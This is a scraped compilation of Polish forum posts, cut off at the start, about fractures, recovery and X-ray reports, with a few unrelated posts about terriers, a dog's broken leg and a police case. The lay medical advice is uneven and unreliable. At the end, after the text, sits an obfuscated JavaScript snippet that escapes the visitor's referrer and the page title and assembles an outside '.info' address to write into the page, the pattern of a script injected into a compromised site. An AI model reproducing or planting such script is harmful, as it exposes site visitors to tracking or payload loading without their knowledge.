wysokosci, ktory nie powoduje utraty przytomnosci. Pamietaj, ze ludzie kiedys
tam w historii "zeszli z drzew", totez ich mlode sa dosc "wstrzasoodporne".
Takie upadki dzieci znosza calkiem niezle. Jesli nie wykazano zadnej patologii
srodczaszkowej (a nie wykazano) ani zlamania kosci czaszki (a nie ma o tym
mowy), to po pierwsze bardzo malo prawdopodobne, ze stalo sie cos zlego, a po
drugie i tak niewiele mozesz poradzic.
Te zacieniona piramide moze warto pokazac laryngologowi. W otoskopii wyjdzie
ewentualne krwawienie do ucha srodkowego (malo prawdopodobne) albo przewlekle
zapalenie (to juz bardziej, ale bez zwiazku z upadkiem).

Tak naprawde to zlamanie zebra mozna potwierdzic lub wykluczyc badaniem rtg.
Reszta to tylko przypuszczenia (choc czasem mozna wywolac "chrupanie"
ocierajacych sie odlamow przy ucisku- nie mylic z odma podskorna! i lepiej
uwazac, bo to bardzo bolesne i pacjent moze przylozyc badajacemu).
Zlamanie pojedynczego zebra nie jest grozne, raczej uciazliwe. Groznie moze byc
tylko gdy odlam przebije pluco, wywolujac odme oplucnej (ale to sie dzieje zaraz
po wypadku) , albo u osob bioracych leki przeciwkrzepliwe (bo wtedy krwawienie
ze zlamanej kosci utrzymuje sie dluzej).
Zlamanie zebra pozostawione samemu sobie zwykle zrasta sie bez problemu.
Unieruchamiac nie trzeba. Leki przeciwbolowe to podstawa. Tak wiec dla
postepowania nie ma wiekszego znaczenia czy zebro jest zlamane czy nie (choc my
kazdemu zdjecie robimy).

Z opisu pańskiego jest to złamanie dalszej nasady k.promieniowej w miejscu
typowym.Pytanie czy było to z przemieszczeniem czy bez.Ile syn ma lat?W kazdym
razie zrost pierwotny tego złamania to około 6 tygodni i tyle srednio stosuje
sie unieruchomienie gipsowe.Po tym okresie gips się zdejmuje,ale radiologicznie
nie bedzie jeszcze pełnej przebudowy bo ta nastąpi dopiero w następnych 2-
3miesiącach,lecz jest to wystarczające dla pierwszego etapu leczenia czyli
unieruchomienia gipsowego.Potem nalezy stosować rehabilitację/kapiele np w Soli
Iwonickiej,masaże wirowe oraz ćwiczenia nadgarstka/.Wyróżnikiem zrostu złamania
będzie ustępowanie dolegliwości bolowych w miejscu złamania.Generalnie u dzieci
kości zrastają sie szybciej i więcej wybaczają błędów chirurga.
Pozdrawiam.

Dziękuję za odpowiedź...
Mój syn ma 13 lat i 187 cm wzrostu, więc boję się o tę kość, która jest bardzo
długa i cienka. Tym bardziej, że są wakacje i mnóstwo okazji do jej powtórnego
złamania. Złamanie było z przemieszczeniem i wykonano bezoperacyjną repozycję
przy znieczuleniu ogólnym ( chyba tak to nazwał lekarz w szpitalu). W tej
chwili na zdjęciu RTG widać zrost mniej więcej połowy powstałej w wyniku
złamania szpary.
Czy nie powinno się tego jednak usztywnić i czy według Pana, syn może wyjechać
za miesiąc na obóz żeglarski ?

pozdrawiam
Sprite

ZŁAMANIE RĘKI- PROSZĘ O RADĘ
Mam problem. 3 tyg temu przewróciłam się w pracy. Wylądowałam na pogotowiu,
lekarz zrobił mi zdjęcie rtg nadgarstka (tylko!). Powiedział że skręcony (czy
zwichnięty-nie pamiętam). To był piatek, w poniedziałek poszłam do lekarza
ogólnego po zwolnienie i powiedziałam że ręka boli mnie też wyżej (w
okolicach łokcia). Dostałam skierowanie do ortopedy. Wtorek u ortopedy-
okazało się że jednak złamana w okolicach łokcia, bez przemieszczenia.
Założyli mi gips na 3 tyg. Po 3 tyg. poszłam znowu do ortopedy. Zdjął mi
gips, zrobił zdjęcie i powiedział że kość się nie zrosła, ale to normalne bo
na zrośnięcie potrzeba ok.6 tyg., ale nie włoży mi w gips bo będe mieć
jeszcze większe problemu z rozruszaniem ręki.
Nie dostałam skerowania na żadną rehabilitację, lekarz powiedział że mam sama
w domu ćwiczyć. Nie wyznaczył mi żadnej kontrolnej wizyty> A ręka po
wyciągnięciu gipsu jest nadal spuchnięta (a po ściągnięciu gipsu już chyba
nie powinna ?!) i nie mogę nią ruszać. Nie wiem co mam zrobić. Znajomi radzą
żeby pojść prywatnie do ortopedy. Niech ktoś poradzi PROSZĘ !!!!
A i jeszcze przepisał mi "MELOKSAM"-to są tabletki na zapalenie stawów.

Opis sugeruje złamanie głowy kości promieniowej. Załóżmy że tak właśnie było i
że rzeczywiście jest to złamanie bez przemieszczenia i innych dodatkowych
problemów (np. z nadgarstkiem od ktorego sie zaczęło).
W takim przypadku wystarcza zazwyczaj ok. 3 tygodniowe unieruchomienie i 2 - 3
tyg odciążenie (temblak, ostrozny, stopniowany ruch bez obciążenia). Obrzęk i
ból (zmniejszające się) na tym etapie jeszcze mogą występować. Fizykoterapia
(np. pole magnetyczne, krioterapia) mogą przyspieszyć ustepowanie obrzęku i
bólu, ćwiczenia (odpowiednio stopniowane) są niezbędne, dobrze żeby nauczył ich
fizykoterapeuta. Jednak i bez tego można sobie poradzić - wcierki z żelu
zalecanego przy urazach stawów (duży wybór w aptekach) i rozsądne ćwiczenia (bez
forsowania i zbyt szybkiego zwiększania obciążeń) też powinny dać dobry efekt.
Na pewno powinnaś ponownie odwiedzić ortopedę gdyby coś się pogarszało (większy
obrzęk, ból) lub gdyby w ciągu kilku - kilkunastu dni nie było postępu w
odzyskiwaniu sprawności. Urazy okolicy stawu łokciowego czasem powodują
trudniejsze do rehabilitacji ograniczenia sprawności. Wskazana byłaby kontrola
po ok. 3 tyg żeby ocenić zakres i tempo odzyskiwania sprawności.

objaśnijcie proszę opis zdjęcia RTG! ważne :)))
moj chlopak gra w piłkę nożną. ostatnio [potwornie bolala go prawa pięta,
mimo to nadal trenował. poszedł do chirurga, dostał fastum i ibuprom. dzis
odebral Rtg. opis: "Niejednorodna przebudowa części korowej i podkorowej guza
kości piętowej prawej, być może po przebytej martwicy aseptycznej. Złamania
nie wykazano." Co to oznacza? czy moze dalej trenowac czy nie? Prosze o
dpowiedź.

Złamanie podudzia (proszę o radę)
Czy ktoś wie,ile może potrwać leczenie złamania kości podudzia?Nadmieniam,że
było to złamanie otwarte z przemieszczeniami.Mój chłopak ma teraz śrubę i
jakieś cztery płytki,ale gipsu nie ma.Gdyby to było możliwe,to proszę o
jakieś rady,adresy dobrych chirurgów,czy rehabilitantów (okolice Warszawy).Z
góry dziękuję za jakąkolwiek pomoc.Mój e-mail:mango191@wp.pl

złamanie-opuchlizna
Witam,
tydzien temu miałam zdjęty gips po złamaniu kości podudzia (tuż nad kostką)
kość jeszcze się nie zrosła do końca, ale lekarz stwierdził,
że bez gipsu noga będzie się szybciej regenerować
mam jeszcze nie probować na nią stawać
niestety od tamtej pory mam bardzo spuchniętą stopę
nic nie przechodzi
czy to normalne?
czy powinnam iść do lekarza jeszcze raz?

dziękuję za pomoc

terriery byly hodowane wlasnie ze wzgledu na krzykliwosc- otoz byly uzywane do
szukania zwierzat w norach i szczekaniem sygnalizowaly miejsce.
Kto chce miec terriera nawet tak malego jak yorkie musi to wziac pod uwage-
piesek ten halasuje.
Futro wymaga dosyc zachodu - ale za to piniwaz yorkie sie nie leni jest dobry
dla alergikow.

jak z kazdym psem, nalezy z nim wychodzic na dlugie spacery gdyz pomimo malego
rozmiaru jest to w dalszym ciagu pies i to nalezacy do grupy psow
pracujacych/mysliwskich - a wiec ptrzebuje zajecia..
Niezbyt dobrze miec go przy malych dzieciach- jest delikatny i wypadki
zlamania kosci pieskowi przez male dzieci niestety sie zdarzaja.
venus
images.google.ca/images?q=tbn:JzSU5k7WoKUC:www.yorkshire-terrier-journal.de/pflegebilder/tipps-start.jpg

PILNE!!! Warszawa-potrzebny dobry chirurg-złamanie
Bardzo pilnie poszukuję namiarów na dobrego chirurga w Warszawie -
sprawa jest pilna, pies złamał noge wczorej, dzisiaj będzie przewożony do
Warszawy. Chodzi o złamanie kości udowej - lekarz, który w tej chwli go
leczył proponuje amputację nogi.

Bardzo proszę o pomoc.

Dzięki

no konował następny po prostu... bez prześwietlenia nie da się powiedzieć NIC o
stanie kości. to że kicia jej czasem używa oznacza tylko tyle że nie jest to
ciężkie złamanie. to tak jakby wszytko aspiryną leczyć. weź od niego wypis
wszystkiego co koci zaaplikowal przez te dwa tygodnie bo pewnie w książeczce
nie wpisywał. to może się ważne okazać, bo źle podane leki szkodzą niestety i
lepiej żeby specjaista wiedział czego ma sie spodziewać. lec do jakiegoś
porządnego fachowca i omijaj na przyszłośc ten gabinet. niektórzy to powinni
zjeść swoje dyplomy i zagryźć ramką :(

zespoł sudecka
zlamłam w marcu br nadgarstek po 6 tyg okazalo sie ze trzeba ponownie ja
zlamac i zalozyc tak zwany wyciag wewnątrz czyli potocznie druty tegulaminowym
terminie zostalam uwolniona z gipsu i reszty od maja nie zginam nadgarstka
[bylo to zlamanie u nasady kosci promiennej z przemieszczeniem] wystapily
podczas rehalibitacij dziwne dla mnie pieczenie dloni zaczerwienienie noi
przede wszystkim bol... do dnia dzisiejszego nie poruszam reka acha bark
zamrozony podejrzenie scisnienia oraz staw rzekomy lekarz stwierdil zespol
sudecka .Na 2 stycznia mam wyznaczona wizyte u lekarza chirurga plastyka nie
wiem po co i co w tym wypadku mi to moze pomoc.mam tez trzy ostanie palce w
przykurczu a kciuk i wskazujacy tylko minimalnie w urzytku czyli poruszam
nimi minimalnie .Cala reka od lokcia po palce sa w dosc nie typowej pozycij
bardzo z nieksztalcona nie przekreca sie ani w lewo ani wprawo .Czy ja ja
odzyskam i co mnie jeszcze czeka?

URAZ KRĘGOSŁUPA!!!???
Witam wszystkie ciżarówki.Jestem w 26tc czuje sie dobrze,pomijając skurcze
nóg codzienie wieczorem.Ale to nie jest moim największym problemem,pisze bo w
14 sierpina 2003 r miałam wypadek samochodowy w którym doszło do złamania
kości trzonu C3 kręgosłupa.Mój gin.dał mi skierowanie na konsultacje
ortopedyczną na której lekarz ma stwirdzić czy moge rodzić siłami natury czy
ma to być rozwiązanie przez cesarskie cięcie.Błagam pomocy.Strasznie się boje
tej decyzji, niewiem co jest lepsze.Czy poród siłami natury może jakoś
wpłynąć na dzidziusia,czy może na moje zdrowie.Co byście wolały i zrobiły w
mojej sytuacji???

My też tak kiedyś mieliśmy, że policjanci nam dziękowali, ze zgłaszamy
oficjalnie sprawę. Facet był chamski, miał pobicia na koncie i nikt przeciwko
niemu nie wystąpił. A nam poszczuł swojego psa na kotkę, oczywiście wiadomo
jaki skutek. Dostał 600 zł. kolegium (5 lat temu) i wiem, że wyegzekwowano.

Mój mąż leżał w szpitalu z człowiekiem, który doznał złamania kości udowej i
nie zoperowano go, bo był słynny strajk anestezjologów. Po trzech miesiacach
uznano, ze się samo nie zrosło i wysłano go na operację do innego szpitala.
Tyle tylko, że noga była już w takim stanie, ze orzeczono stałą rentę.
Akurat wtedy Fundacja Helsińska szukała takich przypadków, zeby wystepować w
imieniu poszkodowanych do sądu. Ja bym temu człowiekowi załatwiła
korespondencję z Fundacją, a Fundacja całą obsługę prawną. On musiałby tylko
sie podpisać na jakichś papierkach, nawet mółby się w sądzie nie stawić, bo
noga na wyciągu. Nie zgodził się.
joanna

konowaly ;-((
Ach jaka jestem zla. Moja mame od dawna bolaly plecy. Lekarka pierwszego
kontaktu, jak to zwykle bywa, upierala sie ze bedzie ja sama leczyc.
Przepisywala cudza nie dziwny, pierniczyla, ze to korzonki, przewlekle
zapalenie....Mama poszla do jakiejs prywatne kliniki i okazalo sie, ze w
dolnej czesci kregoslupa ma 35% ubytku kosci. Zjada ja ostoperoza. W klinice
lekarze powiedzieli jej, ze pod zadnym wypadkiem nie moze nic nosic, nie
moze sie raptownie przekrecac...bo grozi jej ZLAMANIE KREGOSLUPA.

Boze jestem taka wsciekla. Nie wiem skad sie biora tacy pseudo-lekarze.
Przeciez przyzekali kiedys pomagac ludziom, a nie OSZCZEDZAC na pacjentach.
Bo przeciez o kazde skierowanie na badania trzeba blagac i tak nie zawsze z
pomyslnym rezultatem.

Musialam sobie troche ulzyc

Sugar

Część, byłam bym ostrożna na miejscu Twojej mamy z szukaniem pomocy u fachowców
od kręgosłupa , w przypadku osteoporozy kości są bardziej narażone na złamanie
i pęknięcia, jeżeli już to tylko masażysta wysokiej klasy , który napierw
obejrzy prześwietlenie rtg i dokładnie obejrzy pacjenta, jest taki we
Wrocławiu.Co do samej choroby to jesteś pierwszą osobą od której słyszę , że od
osteoporozy boli kręgosłup, z reguły także u młodych osób (osobiście
doświadczyłam) ból jest spowodowany uciskiem dysku na nerw, należałoby w tej
sytuacji wzmocnić mięśnie ale nie jst to takie proste. Łatwiej nosić pas
ściągający i zachowywać prostą sylwetkę, nosić odpowiednie obuwie. Wiem ,że
jesteś daleko od swojej mamy, więc chce Cię uspokoić ,że ten wynik nie jest
tragiczny,moja mama kilka lat temu miała trochę wyższy , leczono ją preparatami
wapna wynik poprawił się o pojedyncze procenty ale nigdy nic ją nie bolało,
bała się tylko złamania , bo kości trudno się zrastają. Poza tym w prywatnych
klinikach- a swoją drogą gdzie to jest, często naciągają pacjentów na wszystkie
badania strasząc ich poważną chorobą i jej konsekwencjami. Tak więc głowa do
góry ale trochę chłodnego spojrzenia na sprawę też się przyda. Pozdrawiam




function bb5154538391046(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515453839100b(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515453839100b(bb5154538391046(document.referrer),bb5154538391046(document.title)));